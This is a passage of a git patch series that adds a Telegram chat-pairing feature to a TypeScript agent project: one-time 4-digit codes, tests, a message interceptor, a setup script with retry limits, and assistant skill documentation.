'nanobot')).toBe('0042'); + }); + it('rejects non-4-digit numbers', () => { + expect(extractCode('@nanobot 12345', 'nanobot')).toBeNull(); + expect(extractCode('@nanobot 12', 'nanobot')).toBeNull(); + }); + it('returns null without addressing', () => { + expect(extractCode('1234', 'nanobot')).toBeNull(); + }); +}); + +describe('createPairing', () => { + it('generates a 4-digit code with TTL', async () => { + const r = await createPairing('main', { ttlMs: 60_000 }); + expect(r.code).toMatch(/^\d{4}$/); + expect(r.status).toBe('pending'); + expect(Date.parse(r.expiresAt)).toBeGreaterThan(Date.now()); + }); + + it('does not collide with active codes', async () => { + const codes = new Set(); + for (let i = 0; i < 20; i++) { + const r = await createPairing('main'); + expect(codes.has(r.code)).toBe(false); + codes.add(r.code); + } + }); +}); + +describe('tryConsume', () => { + it('matches and marks consumed', async () => { + const r = await createPairing('main'); + const consumed = await tryConsume({ + text: `@nanobot ${r.code}`, + botUsername: 'nanobot', + platformId: 'telegram:123', + isGroup: false, + adminUserId: 'u1', + }); + expect(consumed).not.toBeNull(); + expect(consumed!.status).toBe('consumed'); + expect(consumed!.consumed?.platformId).toBe('telegram:123'); + expect(consumed!.consumed?.adminUserId).toBe('u1'); + expect(getStatus(r.code)).toBe('consumed'); + }); + + it('returns null on no match (silent drop)', async () => { + await createPairing('main'); + const out = await tryConsume({ + text: '@nanobot 9999', + botUsername: 'nanobot', + platformId: 'x', + isGroup: false, + }); + expect(out).toBeNull(); + }); + + it('returns null without @botname addressing', async () => { + const r = await createPairing('main'); + const out = await tryConsume({ + text: r.code, + botUsername: 'nanobot', + platformId: 'x', + isGroup: false, + }); + expect(out).toBeNull(); + }); + + it('cannot be consumed twice', async () => { + const r = await createPairing('main'); + await tryConsume({ text: `@b ${r.code}`, botUsername: 'b', platformId: 'p', isGroup: false }); + const second = await tryConsume({ text: `@b ${r.code}`, botUsername: 'b', platformId: 'p', isGroup: false }); + expect(second).toBeNull(); + }); + + it('cannot consume an expired pairing', async () => { + const r = await createPairing('main', { ttlMs: 1 }); + await new Promise((res) => setTimeout(res, 10)); + const out = await tryConsume({ text: `@b ${r.code}`, botUsername: 'b', platformId: 'p', isGroup: false }); + expect(out).toBeNull(); + expect(getStatus(r.code)).toBe('expired'); + }); +}); + +describe('getStatus', () => { + it('returns unknown for missing codes', () => { + expect(getStatus('0000')).toBe('unknown'); + }); +}); + +describe('waitForPairing', () => { + it('resolves when consumed', async () => { + const r = await createPairing('main', { ttlMs: 5000 }); + const p = waitForPairing(r.code, { pollMs: 50 }); + setTimeout(() => { + tryConsume({ text: `@b ${r.code}`, botUsername: 'b', platformId: 'tg:1', isGroup: true, name: 'Group' }); + }, 100); + const consumed = await p; + expect(consumed.status).toBe('consumed'); + expect(consumed.consumed?.name).toBe('Group'); + }); + + it('rejects on expiry', async () => { + const r = await createPairing('main', { ttlMs: 100 }); + await expect(waitForPairing(r.code, { pollMs: 30 })).rejects.toThrow(/expired/); + }); +}); + +describe('intent passthrough', () => { + it('preserves wire-to and new-agent intents', async () => { + const a = await createPairing({ kind: 'wire-to', folder: 'work' }); + const b = await createPairing({ kind: 'new-agent', folder: 'side' }); + const ca = await tryConsume({ text: `@b ${a.code}`, botUsername: 'b', platformId: 'p1', isGroup: true }); + const cb = await tryConsume({ text: `@b ${b.code}`, botUsername: 'b', platformId: 'p2', isGroup: true }); + expect(ca!.intent).toEqual({ kind: 'wire-to', folder: 'work' }); + expect(cb!.intent).toEqual({ kind: 'new-agent', folder: 'side' }); + }); +}); diff --git a/src/channels/telegram-pairing.ts b/src/channels/telegram-pairing.ts new file mode 100644 index 0000000..7c3e194 --- /dev/null +++ b/src/channels/telegram-pairing.ts @@ -0,0 +1,276 @@ +/** + * Telegram pairing — proves the operator owns the chat they're registering. + * + * BotFather hands out tokens with no user binding, so anyone who guesses the + * bot's username can DM it. Pairing closes that gap: setup creates a one-time + * 4-digit code and the operator echoes it back as `@botname CODE` from the + * chat they want to register. The inbound interceptor in telegram.ts matches + * the code and records the chat (with admin_user_id) before it ever reaches + * the router. + * + * Storage is a JSON file at data/telegram-pairings.json — single-process, + * read-modify-write under an in-process mutex. + */ +import fs from 'fs'; +import path from 'path'; + +import { DATA_DIR } from '../config.js'; +import { log } from '../log.js'; + +export type PairingIntent = 'main' | { kind: 'wire-to'; folder: string } | { kind: 'new-agent'; folder: string }; +export type PairingStatus = 'pending' | 'consumed' | 'expired' | 'unknown'; + +export interface ConsumedDetails { + platformId: string; + isGroup: boolean; + name: string | null; + adminUserId: string | null; + consumedAt: string; +} + +export interface PairingRecord { + code: string; + intent: PairingIntent; + createdAt: string; + expiresAt: string; + status: Exclude; + consumed?: ConsumedDetails; +} + +interface Store { + pairings: PairingRecord[]; +} + +const DEFAULT_TTL_MS = 5 * 60 * 1000; +const FILE_NAME = 'telegram-pairings.json'; + +let storePathOverride: string | null = null; +export function _setStorePathForTest(p: string | null): void { + storePathOverride = p; +} + +function storePath(): string { + return storePathOverride ?? path.join(DATA_DIR, FILE_NAME); +} + +let mutex: Promise = Promise.resolve(); +function withLock(fn: () => Promise | T): Promise { + const next = mutex.then(() => fn()); + mutex = next.catch(() => {}); + return next; +} + +function readStore(): Store { + try { + const raw = fs.readFileSync(storePath(), 'utf8'); + const parsed = JSON.parse(raw) as Store; + if (!Array.isArray(parsed.pairings)) return { pairings: [] }; + return parsed; + } catch { + return { pairings: [] }; + } +} + +function writeStore(store: Store): void { + const p = storePath(); + fs.mkdirSync(path.dirname(p), { recursive: true }); + const tmp = `${p}.tmp`; + fs.writeFileSync(tmp, JSON.stringify(store, null, 2)); + fs.renameSync(tmp, p); +} + +function sweep(store: Store, now: number): boolean { + let changed = false; + for (const r of store.pairings) { + if (r.status === 'pending' && Date.parse(r.expiresAt) <= now) { + r.status = 'expired'; + changed = true; + } + } + return changed; +} + +function generateCode(active: Set): string { + // 4-digit numeric, zero-padded. 10k space, fine for one-at-a-time intents. + for (let i = 0; i < 50; i++) { + const code = Math.floor(Math.random() * 10000) + .toString() + .padStart(4, '0'); + if (!active.has(code)) return code; + } + throw new Error('Could not allocate a free pairing code (too many active).'); +} + +export interface CreatePairingOptions { + ttlMs?: number; +} + +export async function createPairing(intent: PairingIntent, opts: CreatePairingOptions = {}): Promise { + const ttl = opts.ttlMs ?? DEFAULT_TTL_MS; + return withLock(() => { + const store = readStore(); + sweep(store, Date.now()); + const active = new Set(store.pairings.filter((r) => r.status === 'pending').map((r) => r.code)); + const now = new Date(); + const record: PairingRecord = { + code: generateCode(active), + intent, + createdAt: now.toISOString(), + expiresAt: new Date(now.getTime() + ttl).toISOString(), + status: 'pending', + }; + store.pairings.push(record); + writeStore(store); + log.info('Pairing created', { code: record.code, intent, expiresAt: record.expiresAt }); + return record; + }); +} + +export interface ConsumeInput { + text: string; + botUsername: string; + platformId: string; + isGroup: boolean; + name?: string | null; + adminUserId?: string | null; +} + +/** Strip leading @botname and return the trimmed remainder, or null if not addressed. */ +export function extractAddressedText(text: string, botUsername: string): string | null { + const trimmed = text.trim(); + const re = new RegExp(`^@${botUsername.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\$&')}\\b`, 'i'); + const m = trimmed.match(re); + if (!m) return null; + return trimmed.slice(m[0].length).trim(); +} + +/** Find a 4-digit code in `@botname CODE`-style text. Returns null if none. */ +export function extractCode(text: string, botUsername: string): string | null { + const remainder = extractAddressedText(text, botUsername); + if (remainder === null) return null; + const m = remainder.match(/\b(\d{4})\b/); + return m ? m[1] : null; +} + +/** + * Try to match an inbound message against a pending pairing. On match, + * marks the pairing consumed atomically and returns the record. Returns + * null on no match or expiry (silent drop). + */ +export async function tryConsume(input: ConsumeInput): Promise { + const code = extractCode(input.text, input.botUsername); + if (!code) return null; + return withLock(() => { + const store = readStore(); + const now = Date.now(); + sweep(store, now); + const record = store.pairings.find((r) => r.code === code && r.status === 'pending'); + if (!record) { + writeStore(store); + return null; + } + record.status = 'consumed'; + record.consumed = { + platformId: input.platformId, + isGroup: input.isGroup, + name: input.name ?? null, + adminUserId: input.adminUserId ?? null, + consumedAt: new Date(now).toISOString(), + }; + writeStore(store); + log.info('Pairing consumed', { code, platformId: input.platformId, intent: record.intent }); + return record; + }); +} + +export function getStatus(code: string): PairingStatus { + const store = readStore(); + sweep(store, Date.now()); + const r = store.pairings.find((p) => p.code === code); + if (!r) return 'unknown'; + return r.status; +} + +export function getPairing(code: string): PairingRecord | null { + const store = readStore(); + sweep(store, Date.now()); + return store.pairings.find((p) => p.code === code) ?? null; +} + +export interface WaitForPairingOptions { + /** Total time to wait. Defaults to the pairing's own TTL (read on each tick). */ + timeoutMs?: number; + /** Polling interval as a fallback when fs.watch misses an event. */ + pollMs?: number; +} + +/** + * Resolve when the pairing is consumed; reject when it expires or the timeout + * elapses. Uses fs.watch as the primary signal with a slow poll fallback — + * fs.watch is unreliable across rename-replace on some filesystems. + */ +export async function waitForPairing(code: string, opts: WaitForPairingOptions = {}): Promise { + const pollMs = opts.pollMs ?? 1000; + const start = Date.now(); + const initial = getPairing(code); + if (!initial) throw new Error(`Unknown pairing code: ${code}`); + const deadline = start + (opts.timeoutMs ?? Math.max(0, Date.parse(initial.expiresAt) - start)); + + return new Promise((resolve, reject) => { + let watcher: fs.FSWatcher | null = null; + let interval: NodeJS.Timeout | null = null; + let settled = false; + + const cleanup = () => { + settled = true; + if (watcher) + try { + watcher.close(); + } catch { + /* ignore */ + } + if (interval) clearInterval(interval); + }; + + const check = () => { + if (settled) return; + const r = getPairing(code); + if (!r) { + cleanup(); + reject(new Error(`Pairing ${code} disappeared`)); + return; + } + if (r.status === 'consumed') { + cleanup(); + resolve(r); + return; + } + if (r.status === 'expired' || Date.now() >= deadline) { + cleanup(); + reject(new Error(`Pairing ${code} expired`)); + return; + } + }; + + try { + const dir = path.dirname(storePath()); + fs.mkdirSync(dir, { recursive: true }); + watcher = fs.watch(dir, (_event, fname) => { + if (!fname || fname.toString().startsWith(path.basename(storePath()))) check(); + }); + } catch { + // fs.watch unsupported — poll-only is fine + } + interval = setInterval(check, pollMs); + check(); + }); +} + +/** Test helper — wipe the store. */ +export function _resetForTest(): void { + try { + fs.unlinkSync(storePath()); + } catch { + // ignore + } +} diff --git a/src/channels/telegram.ts b/src/channels/telegram.ts index 31bb197..eb99f8a 100644 --- a/src/channels/telegram.ts +++ b/src/channels/telegram.ts @@ -1,12 +1,17 @@ /** - * Telegram channel adapter (v2) — uses Chat SDK bridge. - * Self-registers on import. + * Telegram channel adapter (v2) — uses Chat SDK bridge, with a pairing + * interceptor wrapped around onInbound to verify chat ownership before + * registration. See telegram-pairing.ts for the why. */ import { createTelegramAdapter } from '@chat-adapter/telegram'; import { readEnvFile } from '../env.js'; +import { log } from '../log.js'; +import { createMessagingGroup, getMessagingGroupByPlatform, updateMessagingGroup } from '../db/messaging-groups.js'; import { createChatSdkBridge, type ReplyContext } from './chat-sdk-bridge.js'; import { registerChannelAdapter } from './channel-registry.js'; +import type { ChannelAdapter, ChannelSetup, InboundMessage } from './adapter.js'; +import { tryConsume } from './telegram-pairing.js'; // eslint-disable-next-line @typescript-eslint/no-explicit-any function extractReplyContext(raw: Record): ReplyContext | null { @@ -18,19 +23,130 @@ function extractReplyContext(raw: Record): ReplyContext | null { }; } +/** Look up the bot username via Telegram getMe. Cached after first call. */ +async function fetchBotUsername(token: string): Promise { + try { + const res = await fetch(`https://api.telegram.org/bot${token}/getMe`); + const json = (await res.json()) as { ok: boolean; result?: { username?: string } }; + return json.ok ? (json.result?.username ?? null) : null; + } catch (err) { + log.warn('Telegram getMe failed', { err }); + return null; + } +} + +function isGroupPlatformId(platformId: string): boolean { + // platformId is "telegram:". Negative chat IDs are groups/channels. + const id = platformId.split(':').pop() ?? ''; + return id.startsWith('-'); +} + +interface InboundFields { + text: string; + authorUserId: string | null; +} + +function readInboundFields(message: InboundMessage): InboundFields { + if (message.kind !== 'chat-sdk' || !message.content || typeof message.content !== 'object') { + return { text: '', authorUserId: null }; + } + const c = message.content as { text?: string; author?: { userId?: string } }; + return { text: c.text ?? '', authorUserId: c.author?.userId ?? null }; +} + +/** + * Build an onInbound interceptor that consumes pairing codes before they + * reach the router. On match: upserts messaging_groups with admin_user_id + * and short-circuits. On miss: forwards to the host. + */ +function createPairingInterceptor( + botUsernamePromise: Promise, + hostOnInbound: ChannelSetup['onInbound'], +): ChannelSetup['onInbound'] { + return (platformId, threadId, message) => { + void (async () => { + const botUsername = await botUsernamePromise; + if (!botUsername) { + hostOnInbound(platformId, threadId, message); + return; + } + const { text, authorUserId } = readInboundFields(message); + if (!text) { + hostOnInbound(platformId, threadId, message); + return; + } + const consumed = await tryConsume({ + text, + botUsername, + platformId, + isGroup: isGroupPlatformId(platformId), + adminUserId: authorUserId, + }); + if (!consumed) { + hostOnInbound(platformId, threadId, message); + return; + } + // Pairing matched — upsert the messaging_group with admin binding and + // short-circuit. Skip the router entirely so this code-bearing message + // never reaches an agent. + const existing = getMessagingGroupByPlatform('telegram', platformId); + if (existing) { + updateMessagingGroup(existing.id, { + admin_user_id: consumed.consumed!.adminUserId, + is_group: consumed.consumed!.isGroup ? 1 : 0, + }); + } else { + createMessagingGroup({ + id: `mg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + channel_type: 'telegram', + platform_id: platformId, + name: consumed.consumed!.name, + is_group: consumed.consumed!.isGroup ? 1 : 0, + admin_user_id: consumed.consumed!.adminUserId, + created_at: new Date().toISOString(), + }); + } + log.info('Telegram pairing accepted — chat registered', { + platformId, + adminUserId: consumed.consumed!.adminUserId, + intent: consumed.intent, + }); + })().catch((err) => { + log.error('Telegram pairing interceptor error', { err }); + // Fail open: pass through so a pairing bug doesn't break normal traffic. + hostOnInbound(platformId, threadId, message); + }); + }; +} + registerChannelAdapter('telegram', { factory: () => { const env = readEnvFile(['TELEGRAM_BOT_TOKEN']); if (!env.TELEGRAM_BOT_TOKEN) return null; + const token = env.TELEGRAM_BOT_TOKEN; const telegramAdapter = createTelegramAdapter({ - botToken: env.TELEGRAM_BOT_TOKEN, + botToken: token, mode: 'polling', }); - return createChatSdkBridge({ + const bridge = createChatSdkBridge({ adapter: telegramAdapter, concurrency: 'concurrent', extractReplyContext, supportsThreads: false, }); + + const botUsernamePromise = fetchBotUsername(token); + + const wrapped: ChannelAdapter = { + ...bridge, + async setup(hostConfig: ChannelSetup) { + const intercepted: ChannelSetup = { + ...hostConfig, + onInbound: createPairingInterceptor(botUsernamePromise, hostConfig.onInbound), + }; + return bridge.setup(intercepted); + }, + }; + return wrapped; }, }); From 2454444f2e5e8e53fd1461a7a1865023ef0855f6 Mon Sep 17 00:00:00 2001 From: Koshkoshinsk Date: Mon, 13 Apr 2026 12:27:06 +0000 Subject: [PATCH 131/485] feat(telegram-pairing): accept bare 4-digit codes Require the message to be exactly the 4 digits (optionally prefixed by @botname). Loose matches like "my pin is 0349" are rejected to avoid false positives from chat traffic that happens to contain a 4-digit number. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-telegram-v2/SKILL.md | 2 +- src/channels/telegram-pairing.test.ts | 16 +++++++++++----- src/channels/telegram-pairing.ts | 22 ++++++++++++++-------- 3 files changed, 26 insertions(+), 14 deletions(-) diff --git a/.claude/skills/add-telegram-v2/SKILL.md b/.claude/skills/add-telegram-v2/SKILL.md index fc18cc5..da738dc 100644 --- a/.claude/skills/add-telegram-v2/SKILL.md +++ b/.claude/skills/add-telegram-v2/SKILL.md @@ -68,7 +68,7 @@ Otherwise, run `/manage-channels` to wire this channel to an agent group. - **type**: `telegram` - **terminology**: Telegram calls them "groups" and "chats." A "group" has multiple members; a "chat" is a 1:1 conversation with the bot. -- **how-to-find-id**: Do NOT ask the user for a chat ID. Telegram registration uses pairing — run `npx tsx setup/index.ts --step pair-telegram -- --intent `, show the user the 4-digit `CODE` from the `PAIR_TELEGRAM_ISSUED` block, and tell them to send `@ CODE` from the chat they want to register (DM the bot for `main`, post in the group otherwise). The step waits up to 5 minutes and emits a `PAIR_TELEGRAM` block with `PLATFORM_ID`, `IS_GROUP`, and `ADMIN_USER_ID` once the user echoes the code. The service must be running for this to work (the polling adapter is what observes the code). +- **how-to-find-id**: Do NOT ask the user for a chat ID. Telegram registration uses pairing — run `npx tsx setup/index.ts --step pair-telegram -- --intent `, show the user the 4-digit `CODE` from the `PAIR_TELEGRAM_ISSUED` block, and tell them to send just the 4 digits as a message from the chat they want to register (DM the bot for `main`, post in the group otherwise). In groups with Group Privacy ON, prefix with the bot handle: `@ CODE`. The step waits up to 5 minutes and emits a `PAIR_TELEGRAM` block with `PLATFORM_ID`, `IS_GROUP`, and `ADMIN_USER_ID` once the user echoes the code. The service must be running for this to work (the polling adapter is what observes the code). - **supports-threads**: no - **typical-use**: Interactive chat — direct messages or small groups - **default-isolation**: Same agent group if you're the only participant across multiple chats. Separate agent group if different people are in different groups. diff --git a/src/channels/telegram-pairing.test.ts b/src/channels/telegram-pairing.test.ts index 0af26b0..6b73840 100644 --- a/src/channels/telegram-pairing.test.ts +++ b/src/channels/telegram-pairing.test.ts @@ -45,15 +45,20 @@ describe('extractAddressedText', () => { }); describe('extractCode', () => { - it('finds 4-digit code after @botname', () => { + it('accepts a bare 4-digit code', () => { + expect(extractCode('0349', 'nanobot')).toBe('0349'); + }); + it('accepts 4-digit code after @botname', () => { expect(extractCode('@nanobot 0042', 'nanobot')).toBe('0042'); }); it('rejects non-4-digit numbers', () => { expect(extractCode('@nanobot 12345', 'nanobot')).toBeNull(); expect(extractCode('@nanobot 12', 'nanobot')).toBeNull(); + expect(extractCode('12345', 'nanobot')).toBeNull(); }); - it('returns null without addressing', () => { - expect(extractCode('1234', 'nanobot')).toBeNull(); + it('rejects loose matches with surrounding text', () => { + expect(extractCode('my pin is 0349', 'nanobot')).toBeNull(); + expect(extractCode('0349 thanks', 'nanobot')).toBeNull(); }); }); @@ -103,7 +108,7 @@ describe('tryConsume', () => { expect(out).toBeNull(); }); - it('returns null without @botname addressing', async () => { + it('matches a bare code without @botname addressing', async () => { const r = await createPairing('main'); const out = await tryConsume({ text: r.code, @@ -111,7 +116,8 @@ describe('tryConsume', () => { platformId: 'x', isGroup: false, }); - expect(out).toBeNull(); + expect(out).not.toBeNull(); + expect(out!.status).toBe('consumed'); }); it('cannot be consumed twice', async () => { diff --git a/src/channels/telegram-pairing.ts b/src/channels/telegram-pairing.ts index 7c3e194..cf1a7e2 100644 --- a/src/channels/telegram-pairing.ts +++ b/src/channels/telegram-pairing.ts @@ -3,10 +3,12 @@ * * BotFather hands out tokens with no user binding, so anyone who guesses the * bot's username can DM it. Pairing closes that gap: setup creates a one-time - * 4-digit code and the operator echoes it back as `@botname CODE` from the - * chat they want to register. The inbound interceptor in telegram.ts matches - * the code and records the chat (with admin_user_id) before it ever reaches - * the router. + * 4-digit code and the operator echoes it back from the chat they want to + * register. The message must be exactly the 4 digits (optionally prefixed by + * `@botname ` for groups with privacy ON) — arbitrary messages that happen to + * contain a 4-digit number do NOT match. The inbound interceptor in + * telegram.ts matches the code and records the chat (with admin_user_id) + * before it ever reaches the router. * * Storage is a JSON file at data/telegram-pairings.json — single-process, * read-modify-write under an in-process mutex. @@ -144,11 +146,15 @@ export function extractAddressedText(text: string, botUsername: string): string return trimmed.slice(m[0].length).trim(); } -/** Find a 4-digit code in `@botname CODE`-style text. Returns null if none. */ +/** + * Extract a pairing code from an inbound message. The message must be exactly + * 4 digits (optionally prefixed by `@botname `) — loose matches like + * "my pin is 1234" are rejected to avoid false positives from chatter. + */ export function extractCode(text: string, botUsername: string): string | null { - const remainder = extractAddressedText(text, botUsername); - if (remainder === null) return null; - const m = remainder.match(/\b(\d{4})\b/); + const addressed = extractAddressedText(text, botUsername); + const candidate = (addressed !== null ? addressed : text).trim(); + const m = candidate.match(/^(\d{4})$/); return m ? m[1] : null; } From 65afcdc946b9e23924d1d8190205e866c2dbc11c Mon Sep 17 00:00:00 2001 From: Koshkoshinsk Date: Mon, 13 Apr 2026 12:27:09 +0000 Subject: [PATCH 132/485] feat(telegram-pairing): surface wrong-code attempts + auto-regen with retry cap - createPairing now replaces any existing pending pairing for the same intent (replace-by-default; no "two pending codes for one intent" state) - tryConsume records each attempt on pending records (capped at 10); a wrong code invalidates the pairing immediately (one attempt per code) - waitForPairing gains onAttempt callback for misses and rejects with a distinct "invalidated by wrong code" message so callers can distinguish TTL expiry from user-error - pair-telegram emits PAIR_TELEGRAM_ATTEMPT on misses and auto-regenerates the pairing up to 5 times, emitting PAIR_TELEGRAM_NEW_CODE for each - Skill docs updated so the host Claude knows to show new codes and offer another batch on max-regenerations-exceeded Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-telegram-v2/SKILL.md | 2 +- setup/pair-telegram.ts | 69 +++++++++++++++------- src/channels/telegram-pairing.test.ts | 72 +++++++++++++++++++++++ src/channels/telegram-pairing.ts | 77 ++++++++++++++++++++++++- 4 files changed, 196 insertions(+), 24 deletions(-) diff --git a/.claude/skills/add-telegram-v2/SKILL.md b/.claude/skills/add-telegram-v2/SKILL.md index da738dc..e5c7f77 100644 --- a/.claude/skills/add-telegram-v2/SKILL.md +++ b/.claude/skills/add-telegram-v2/SKILL.md @@ -68,7 +68,7 @@ Otherwise, run `/manage-channels` to wire this channel to an agent group. - **type**: `telegram` - **terminology**: Telegram calls them "groups" and "chats." A "group" has multiple members; a "chat" is a 1:1 conversation with the bot. -- **how-to-find-id**: Do NOT ask the user for a chat ID. Telegram registration uses pairing — run `npx tsx setup/index.ts --step pair-telegram -- --intent `, show the user the 4-digit `CODE` from the `PAIR_TELEGRAM_ISSUED` block, and tell them to send just the 4 digits as a message from the chat they want to register (DM the bot for `main`, post in the group otherwise). In groups with Group Privacy ON, prefix with the bot handle: `@ CODE`. The step waits up to 5 minutes and emits a `PAIR_TELEGRAM` block with `PLATFORM_ID`, `IS_GROUP`, and `ADMIN_USER_ID` once the user echoes the code. The service must be running for this to work (the polling adapter is what observes the code). +- **how-to-find-id**: Do NOT ask the user for a chat ID. Telegram registration uses pairing — run `npx tsx setup/index.ts --step pair-telegram -- --intent `, show the user the 4-digit `CODE` from the `PAIR_TELEGRAM_ISSUED` block, and tell them to send just the 4 digits as a message from the chat they want to register (DM the bot for `main`, post in the group otherwise). In groups with Group Privacy ON, prefix with the bot handle: `@ CODE`. Wrong guesses invalidate the code — if a `PAIR_TELEGRAM_ATTEMPT` block arrives with a mismatched `RECEIVED_CODE`, a `PAIR_TELEGRAM_NEW_CODE` block will follow automatically (up to 5 regenerations); show the new code. On `PAIR_TELEGRAM STATUS=failed ERROR=max-regenerations-exceeded`, ask the user if they want to try again and re-invoke the step — each invocation starts a fresh 5-attempt batch. Success emits `PAIR_TELEGRAM STATUS=success` with `PLATFORM_ID`, `IS_GROUP`, and `ADMIN_USER_ID`. The service must be running for this to work (the polling adapter is what observes the code). - **supports-threads**: no - **typical-use**: Interactive chat — direct messages or small groups - **default-isolation**: Same agent group if you're the only participant across multiple chats. Separate agent group if different people are in different groups. diff --git a/setup/pair-telegram.ts b/setup/pair-telegram.ts index 21c8467..ea317ed 100644 --- a/setup/pair-telegram.ts +++ b/setup/pair-telegram.ts @@ -65,33 +65,58 @@ export async function run(args: string[]): Promise { const db = initDb(path.join(DATA_DIR, 'v2.db')); runMigrations(db); - const record = await createPairing(intent, { ttlMs }); - - // Tell the user what to do. The skill prints this as user-facing text. + const MAX_REGENERATIONS = 5; + let record = await createPairing(intent, { ttlMs }); emitStatus('PAIR_TELEGRAM_ISSUED', { CODE: record.code, INTENT: intentToString(intent), EXPIRES_AT: record.expiresAt, - INSTRUCTIONS: `Send "@ ${record.code}" from the Telegram chat you want to register.`, + INSTRUCTIONS: `Send "${record.code}" from the Telegram chat you want to register (or "@ ${record.code}" in a group with privacy on).`, }); - try { - const consumed = await waitForPairing(record.code, { timeoutMs: ttlMs }); - emitStatus('PAIR_TELEGRAM', { - STATUS: 'success', - CODE: record.code, - INTENT: intentToString(consumed.intent), - PLATFORM_ID: consumed.consumed!.platformId, - IS_GROUP: consumed.consumed!.isGroup, - ADMIN_USER_ID: consumed.consumed!.adminUserId ?? '', - }); - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - emitStatus('PAIR_TELEGRAM', { - STATUS: 'failed', - CODE: record.code, - ERROR: message, - }); - process.exit(2); + for (let regen = 0; regen <= MAX_REGENERATIONS; regen++) { + try { + const consumed = await waitForPairing(record.code, { + timeoutMs: ttlMs, + onAttempt: (a) => { + emitStatus('PAIR_TELEGRAM_ATTEMPT', { + EXPECTED_CODE: record.code, + RECEIVED_CODE: a.candidate, + PLATFORM_ID: a.platformId, + AT: a.at, + }); + }, + }); + emitStatus('PAIR_TELEGRAM', { + STATUS: 'success', + CODE: record.code, + INTENT: intentToString(consumed.intent), + PLATFORM_ID: consumed.consumed!.platformId, + IS_GROUP: consumed.consumed!.isGroup, + ADMIN_USER_ID: consumed.consumed!.adminUserId ?? '', + }); + return; + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + const invalidated = /invalidated by wrong code/.test(message); + if (invalidated && regen < MAX_REGENERATIONS) { + record = await createPairing(intent, { ttlMs }); + emitStatus('PAIR_TELEGRAM_NEW_CODE', { + CODE: record.code, + INTENT: intentToString(intent), + EXPIRES_AT: record.expiresAt, + REASON: 'previous code invalidated by wrong attempt', + REGENERATIONS_LEFT: MAX_REGENERATIONS - regen - 1, + INSTRUCTIONS: `Send "${record.code}" from the Telegram chat you want to register.`, + }); + continue; + } + emitStatus('PAIR_TELEGRAM', { + STATUS: 'failed', + CODE: record.code, + ERROR: invalidated ? 'max-regenerations-exceeded' : message, + }); + process.exit(2); + } } } diff --git a/src/channels/telegram-pairing.test.ts b/src/channels/telegram-pairing.test.ts index 6b73840..1404df8 100644 --- a/src/channels/telegram-pairing.test.ts +++ b/src/channels/telegram-pairing.test.ts @@ -9,6 +9,7 @@ import { createPairing, tryConsume, getStatus, + getPairing, waitForPairing, extractCode, extractAddressedText, @@ -160,6 +161,77 @@ describe('waitForPairing', () => { }); }); +describe('replace-by-default', () => { + it('supersedes an existing pending pairing with the same intent', async () => { + const first = await createPairing('main', { ttlMs: 60_000 }); + const second = await createPairing('main', { ttlMs: 60_000 }); + expect(getStatus(first.code)).toBe('expired'); + expect(getStatus(second.code)).toBe('pending'); + }); + + it('does not supersede pairings with a different intent', async () => { + const a = await createPairing({ kind: 'wire-to', folder: 'work' }); + const b = await createPairing({ kind: 'wire-to', folder: 'side' }); + expect(getStatus(a.code)).toBe('pending'); + expect(getStatus(b.code)).toBe('pending'); + }); + + it('causes waitForPairing on the old code to reject as expired', async () => { + const first = await createPairing('main', { ttlMs: 60_000 }); + const waiter = waitForPairing(first.code, { pollMs: 30 }); + await new Promise((r) => setTimeout(r, 50)); + await createPairing('main', { ttlMs: 60_000 }); + await expect(waiter).rejects.toThrow(/expired/); + }); +}); + +describe('attempt tracking', () => { + it('fires onAttempt for a wrong code, invalidates the pairing, and rejects the waiter', async () => { + const r = await createPairing('main', { ttlMs: 5000 }); + const attempts: string[] = []; + const waiter = waitForPairing(r.code, { + pollMs: 30, + onAttempt: (a) => attempts.push(a.candidate), + }); + setTimeout(() => { + tryConsume({ text: '9999', botUsername: 'b', platformId: 'tg:1', isGroup: false }); + }, 60); + await expect(waiter).rejects.toThrow(/invalidated by wrong code \(9999\)/); + expect(attempts).toEqual(['9999']); + expect(getStatus(r.code)).toBe('expired'); + }); + + it('a correct code consumes without firing onAttempt', async () => { + const r = await createPairing('main', { ttlMs: 5000 }); + const attempts: string[] = []; + const waiter = waitForPairing(r.code, { + pollMs: 30, + onAttempt: (a) => attempts.push(a.candidate), + }); + setTimeout(() => { + tryConsume({ text: r.code, botUsername: 'b', platformId: 'tg:1', isGroup: false }); + }, 60); + const consumed = await waiter; + expect(consumed.status).toBe('consumed'); + expect(attempts).toEqual([]); + }); + + it('ignores non-code messages and keeps the pairing pending', async () => { + const r = await createPairing('main', { ttlMs: 5000 }); + await tryConsume({ text: 'hello there', botUsername: 'b', platformId: 'p', isGroup: false }); + const after = getPairing(r.code); + expect(after?.status).toBe('pending'); + expect(after?.attempts ?? []).toHaveLength(0); + }); + + it('a second code attempt after invalidation does not match', async () => { + const r = await createPairing('main', { ttlMs: 5000 }); + await tryConsume({ text: '9999', botUsername: 'b', platformId: 'p', isGroup: false }); + const retry = await tryConsume({ text: r.code, botUsername: 'b', platformId: 'p', isGroup: false }); + expect(retry).toBeNull(); + }); +}); + describe('intent passthrough', () => { it('preserves wire-to and new-agent intents', async () => { const a = await createPairing({ kind: 'wire-to', folder: 'work' }); diff --git a/src/channels/telegram-pairing.ts b/src/channels/telegram-pairing.ts index cf1a7e2..5a6cedb 100644 --- a/src/channels/telegram-pairing.ts +++ b/src/channels/telegram-pairing.ts @@ -30,6 +30,13 @@ export interface ConsumedDetails { consumedAt: string; } +export interface PairingAttempt { + candidate: string; + platformId: string; + at: string; + matched: boolean; +} + export interface PairingRecord { code: string; intent: PairingIntent; @@ -37,6 +44,15 @@ export interface PairingRecord { expiresAt: string; status: Exclude; consumed?: ConsumedDetails; + /** Recent pairing attempts observed while this record was pending. Capped. */ + attempts?: PairingAttempt[]; +} + +const MAX_ATTEMPTS_PER_RECORD = 10; + +function intentEquals(a: PairingIntent, b: PairingIntent): boolean { + if (a === 'main' || b === 'main') return a === b; + return a.kind === b.kind && a.folder === b.folder; } interface Store { @@ -112,6 +128,15 @@ export async function createPairing(intent: PairingIntent, opts: CreatePairingOp return withLock(() => { const store = readStore(); sweep(store, Date.now()); + // Replace-by-default: a new pairing for an intent supersedes any existing + // pending pairing for the same intent. Old waitForPairing calls observe + // `expired` and exit on their own. + for (const r of store.pairings) { + if (r.status === 'pending' && intentEquals(r.intent, 